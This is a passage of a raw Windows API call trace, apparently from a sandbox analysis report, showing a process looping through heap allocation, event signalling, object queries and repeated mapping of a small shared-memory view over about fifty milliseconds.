RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.431] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.431] ResetEvent (hEvent=0x110) returned 1 [0072.431] SetEvent (hEvent=0x114) returned 1 [0072.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.431] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.431] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.431] ResetEvent (hEvent=0x110) returned 1 [0072.431] SetEvent (hEvent=0x114) returned 1 [0072.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.431] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.431] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.431] ResetEvent (hEvent=0x110) returned 1 [0072.431] SetEvent (hEvent=0x114) returned 1 [0072.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.432] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.432] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.432] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.432] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.432] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.432] ResetEvent (hEvent=0x110) returned 1 [0072.432] SetEvent (hEvent=0x114) returned 1 [0072.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.432] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.432] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.432] ResetEvent (hEvent=0x110) returned 1 [0072.432] SetEvent (hEvent=0x114) returned 1 [0072.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.432] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.432] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.433] ResetEvent (hEvent=0x110) returned 1 [0072.433] SetEvent (hEvent=0x114) returned 1 [0072.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.433] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.433] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.433] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.433] ResetEvent (hEvent=0x110) returned 1 [0072.433] SetEvent (hEvent=0x114) returned 1 [0072.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.433] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.433] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.433] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.433] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.433] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.433] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.433] ResetEvent (hEvent=0x110) returned 1 [0072.433] SetEvent (hEvent=0x114) returned 1 [0072.434] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.434] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.434] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.434] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.434] ResetEvent (hEvent=0x110) returned 1 [0072.434] SetEvent (hEvent=0x114) returned 1 [0072.434] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.434] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.434] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.434] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.434] ResetEvent (hEvent=0x110) returned 1 [0072.434] SetEvent (hEvent=0x114) returned 1 [0072.434] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.434] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.434] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.434] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.434] ResetEvent (hEvent=0x110) returned 1 [0072.435] SetEvent (hEvent=0x114) returned 1 [0072.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.435] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.435] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.435] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.435] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.435] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.435] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.435] ResetEvent (hEvent=0x110) returned 1 [0072.435] SetEvent (hEvent=0x114) returned 1 [0072.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.435] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.435] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.435] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.435] ResetEvent (hEvent=0x110) returned 1 [0072.435] SetEvent (hEvent=0x114) returned 1 [0072.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.436] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.436] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.436] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.436] ResetEvent (hEvent=0x110) returned 1 [0072.436] SetEvent (hEvent=0x114) returned 1 [0072.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.436] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.436] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.436] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.436] ResetEvent (hEvent=0x110) returned 1 [0072.436] SetEvent (hEvent=0x114) returned 1 [0072.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.436] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.436] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.436] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.436] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.436] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.437] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.437] ResetEvent (hEvent=0x110) returned 1 [0072.437] SetEvent (hEvent=0x114) returned 1 [0072.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.437] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.437] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.437] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.437] ResetEvent (hEvent=0x110) returned 1 [0072.437] SetEvent (hEvent=0x114) returned 1 [0072.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.475] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.476] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.476] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.476] ResetEvent (hEvent=0x110) returned 1 [0072.476] SetEvent (hEvent=0x114) returned 1 [0072.476] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.476] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.476] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.476] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.476] ResetEvent (hEvent=0x110) returned 1 [0072.476] SetEvent (hEvent=0x114) returned 1 [0072.476] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.476] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.476] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.476] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.476] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.476] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.477] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.477] ResetEvent (hEvent=0x110) returned 1 [0072.477] SetEvent (hEvent=0x114) returned 1 [0072.477] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.477] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.477] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.477] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.477] ResetEvent (hEvent=0x110) returned 1 [0072.477] SetEvent (hEvent=0x114) returned 1 [0072.477] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.477] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.477] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.477] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.477] ResetEvent (hEvent=0x110) returned 1 [0072.477] SetEvent (hEvent=0x114) returned 1 [0072.477] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.478] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.478] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.478] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.478] ResetEvent (hEvent=0x110) returned 1 [0072.478] SetEvent (hEvent=0x114) returned 1 [0072.478] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.478] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.478] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.478] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.478] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.478] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.478] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.478] ResetEvent (hEvent=0x110) returned 1 [0072.478] SetEvent (hEvent=0x114) returned 1 [0072.478] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.478] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.478] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.478] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.479] ResetEvent (hEvent=0x110) returned 1 [0072.479] SetEvent (hEvent=0x114) returned 1 [0072.479] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.479] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.479] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.479] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.479] ResetEvent (hEvent=0x110) returned 1 [0072.479] SetEvent (hEvent=0x114) returned 1 [0072.479] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.479] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.479] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.479] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.479] ResetEvent (hEvent=0x110) returned 1 [0072.479] SetEvent (hEvent=0x114) returned 1 [0072.479] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.479] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.480] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.480] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.480] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.480] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.480] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.480] ResetEvent (hEvent=0x110) returned 1 [0072.480] SetEvent (hEvent=0x114) returned 1 [0072.480] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.480] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.480] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.480] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.480] ResetEvent (hEvent=0x110) returned 1 [0072.480] SetEvent (hEvent=0x114) returned 1 [0072.480] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.480] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.480] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.480] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.480] ResetEvent (hEvent=0x110) returned 1 [0072.481] SetEvent (hEvent=0x114) returned 1 [0072.481] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.481] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.481] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.481] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.481] ResetEvent (hEvent=0x110) returned 1 [0072.481] SetEvent (hEvent=0x114) returned 1 [0072.481] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.481] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.481] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.481] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.481] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.481] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.481] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.481] ResetEvent (hEvent=0x110) returned 1 [0072.481] SetEvent (hEvent=0x114) returned 1 [0072.481] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.482] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.482] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.482] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.482] ResetEvent (hEvent=0x110) returned 1 [0072.482] SetEvent (hEvent=0x114) returned 1 [0072.482] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.482] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.482] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.482] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.482] ResetEvent (hEvent=0x110) returned 1 [0072.482] SetEvent (hEvent=0x114) returned 1 [0072.482] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.482] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.482] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.482] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.482] ResetEvent (hEvent=0x110) returned 1 [0072.483] SetEvent (hEvent=0x114) returned 1 [0072.483] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.483] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.483] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.483] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, 